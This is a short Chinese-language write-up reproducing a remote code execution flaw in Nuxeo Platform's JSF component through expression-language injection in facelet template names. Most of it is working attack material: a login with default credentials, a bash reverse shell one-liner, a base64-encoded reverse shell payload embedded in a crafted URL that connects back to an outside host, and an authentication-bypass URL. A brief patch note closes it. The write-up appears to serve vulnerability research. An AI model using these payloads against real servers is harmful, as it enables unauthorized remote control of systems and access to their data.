漏洞描述:
Nuxeo Platform是一款跨平台开源的企业级内容管理系统(CMS)。
nuxeo-jsf-ui组件处理facelet模板不当,当访问的facelet模板不存在时,相关的文件名会输出到错误页面上,而错误页面会当成模板被解析,文件名包含表达式也会被输出同时被解析执行,从而导致远程代码执行漏洞。
复现过程:
1.访问ip:port
2.使用默认密码登陆Administrator/Administrator。
在登陆状态下访问test${11*11}.xhtml,可以看到表达式被执行
3.反弹shell
3.1 本地监听
3.2 bash反弹shell的命令
bash -i >& /dev/tcp/ip/port 0>&1
3.3 base64编码
3.4 poc构造,成功监听
http://ip:port/nuxeo/login.jsp/${"".getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTIxLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}",null).waitFor()}.xhtml
如此即可目标虚拟终端控制权限,实现相关操作
4.登录认证绕过
login.jsp/%24%7b%31%31%2a%31%31%7d.xhtml
如此可以绕过登录阶段,获取网站信息
修复建议:
1.补丁
这是通过过滤的方式修复的,在getInputStream中,只有当路径中不包含”#”和”$”时才会把路径输出到输入流中,这样就无法执行EL了。